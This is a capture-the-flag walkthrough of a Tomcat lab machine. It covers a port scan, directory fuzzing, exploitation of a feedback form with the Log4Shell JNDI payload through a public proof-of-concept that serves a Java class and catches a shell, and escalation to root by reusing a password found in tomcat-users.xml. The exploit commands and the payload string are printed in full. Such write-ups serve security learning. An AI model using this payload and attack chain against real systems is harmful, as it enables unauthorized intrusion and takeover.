Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:7e:09:54:f0:21:09:e2:88:13:07:d4:d7:c6:ac:4b (RSA)
| 256 be:38:36:46:23:7e:2d:02:fe:64:4c:12:a4:b3:9d:f1 (ECDSA)
|_ 256 5e:81:50:56:82:8f:c9:bb:e9:24:59:ed:4f:33:89:10 (ED25519)
8080/tcp open http Apache Tomcat 9.0.56
|_http-title: Apache Tomcat/9.0.56
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Execution
On port 8080 I’m greeted with the default Apache Tomcat page. Trying to access the manager part of the application does not work despite going through some common credentials.
With ffuf I try to bruteforce folders and besides a few default ones there’s also feedback.
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-u http://10.10.117.216:8080/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.117.216:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
docs [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 30ms]
manager [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]
feedback [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
examples [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms]Browsing to the newly discovered endpoint shows a form asking for feedback and my name. Providing dummy values returns You request has been logged and nothing else.
The Apache Tomcat version 9.0.56 was released on 2021-12-081 and around that time a vulnerability called log4shell spread havoc around the world. Several proof-of-concepts are available to try and exploit this vulnerability.
After cloning the repository and satisfying the requirements, I run the Python script and it prints the string to supply to the vulnerable app.
$ python3 poc.py --userip 10.10.10.10 --lport 4444
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.10.10:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.10.10:8000/Exploit.class
10.10.108.83 - - [09/Jun/2025 10:05:56] "GET /Exploit.class HTTP/1.1" 200 -Sending the payload ${jndi:ldap://10.10.10.10:1389/a} as username in the feedback form generates a callback on the listener as tomcat.
Privilege Escalation
The Apache Tomcat server has an internal user management in order to limit who can access endpoints like /manager. On the target the application is installed in /opt/tomcat and fair enough there’s tomcat-users.xml in the conf subfolder.
The password for the users also works for root and I can escalate with su - to collect the final flag.
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="admin" password="H2<REDACTED>Wa" roles="manager-gui"/>
<user username="robot" password="H2<REDACTED>Wa" roles="manager-script"/>
</tomcat-users>Attack Path
flowchart TD subgraph "Execution" A(Feedback Application) -->|CVE-2021-44228 log4shell| B(Shell as tomcat) end subgraph "Privilege Escalation" B -->|Credentials in tomcat-users.xml| C(Shell as root) end